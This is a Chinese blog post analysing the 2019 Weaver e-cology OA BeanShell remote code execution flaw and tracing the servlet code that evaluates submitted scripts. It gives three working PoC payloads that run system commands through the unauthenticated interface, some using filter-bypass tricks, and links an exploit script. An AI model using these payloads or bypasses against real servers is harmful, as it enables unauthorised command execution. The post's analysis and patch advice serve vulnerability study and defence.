sshpass远程执行脚本_E-cology远程代码执行漏洞原理分析

2f1e8fe714a854db3d8e91ce03554d92.png

最近曝光了很多漏洞,后续将对这些有代表性的漏洞进行分析审分析,今天有空先审计分析泛微 OA RCE漏洞。

ce36c80579ccad512784858dbd0a08bd.png

E-cology远程代码执行漏洞原理分析

2019年9月17日泛微OA官方更新了一个远程代码执行漏洞补丁,泛微e-cology OA系统的J**A Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行,漏洞等级严重。

b2a11b3c2e06016e6296720a95f712d9.png

E-cology远程代码执行漏洞原理分析

此次存在漏洞的是J**A Beanshell接口,先了解下Beanshell的基础。

(来源:https://github.com/beanshell/beanshell)

BeanShell是一个小型的,免费的,可嵌入的Java源解释器,具有使用Java编写的对象脚本语言功能。BeanShell动态执行标准Java语法,并通过通用的脚本编写便利进行扩展,例如松散的类型,命令和方法闭包(如Perl和JavaScript)。

可以交互地使用BeanShell进行Java实验和调试,以及以新方式扩展应用程序。

Beanshell可以执行print、dir、eval、exec等命令

页面如下图:

e42b9bea60adccc57ad145dbef73044a.png

E-cology远程代码执行漏洞原理分析

本次漏洞是因为泛微OA系统的J**A Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,执行系统命令。

先对bsh-2.0b4.jar 文件分析,利用Jadx工具反编译查看servlet.BshServlet这个类

94416623ef4621ab3188df7e19d4e2ed.png

E-cology远程代码执行漏洞原理分析

在类中发现doGet和doPost方法,用来接收并执行提交的数据。

doPost是对doGet的二次封装

90102bc93c90197dc0588ba56c998b2c.png

E-cology远程代码执行漏洞原理分析

在doGet方法中看到调用evalScript方法创建一个名为obj的对象,再看evalScript这个方法中的pramString参数,最终会被interpreter.eval处理。如下图

854b422371b4f812ff0ee9af577d5797.png

E-cology远程代码执行漏洞原理分析

跟进 bsh.Interpreter类的eval方法

a13737f100e0a436e9f96db4958f5a22.png

E-cology远程代码执行漏洞原理分析

跳转到bsh.classpath/ClassManagerImpl.class类

df9ba5422eb2f0a5bd0de7f7130c2c64.png

E-cology远程代码执行漏洞原理分析

该类调用了bsh.commands/exec.bsh脚本,该脚本可以执行命令

3f107b04260541bd6b937800dc80a75e.png

E-cology远程代码执行漏洞原理分析

e6a7aa94684fc2dd5f487a6343fa3f61.png

E-cology远程代码执行漏洞原理分析

把print("hello!")换成exec("whoami"),就可以测试能否执行系统命令了。

Poc1:bsh.script=u0065u0078u0065u0063("whoami");&bsh.servlet.output=raw

0ececbaa719db0b13cdef5bf7a7bf7a8.png

E-cology远程代码执行漏洞原理分析

如果有全局过滤器过滤了exec或eval,会有报错,如下图:

可以采用unicode编码、字符串拼接等方式绕过,见下图:

Poc2:bsh.script=u0065u0078u0065u0063("whoami");&bsh.servlet.output=raw

692c073a511042f4ecca2c47bf50361f.png

E-cology远程代码执行漏洞原理分析

Poc3:

bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter("command"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

fbb825e2b2f2d4b914998558b12ce2f8.png

E-cology远程代码执行漏洞原理分析

该脚本组合了常用的泛微OA web路径,加上本文讲解绕过过滤器的3个Poc

5abbfde3d9cb396ee8a5db5dccef0fbe.png

E-cology远程代码执行漏洞原理分析

该工具仅用于测试研究使用请勿他用。

脚本地址:

https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204

升级e-cology OA最新版本或安装官方BSH安全补丁包

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值